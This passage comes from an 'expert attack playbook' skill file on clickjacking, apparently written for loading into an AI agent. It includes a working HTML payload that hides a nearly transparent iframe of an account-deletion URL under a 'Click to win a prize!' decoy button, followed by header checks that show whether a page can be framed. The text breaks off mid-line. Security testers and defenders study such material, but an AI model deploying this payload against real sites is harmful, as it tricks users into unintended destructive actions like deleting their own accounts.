clickjackinglisted

# SKILL: Clickjacking — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions. ## 1. CORE CONCEPT Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions. ```html <style> iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; } .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; } </style> <div class="decoy"><button>Click to win a prize!</button></div> <iframe src="https://target.com/account/delete?confirm=yes"></iframe> ``` --- ## 2. DETECTION — IS THE PAGE FRAMEABLE? ### Check X-Frame-Options Header ``` X-Frame-Options: DENY → cannot be framed (secure) X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin) X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent (header absent) → frameable! (vulnerable) ``` ### Check CSP frame-ancestors ``` Content-Security-Policy: frame-ancestors 'none' → cannot be framed Content-Security-Policy: frame-ancestors 'self' → same-origin only Content-Security-Policy: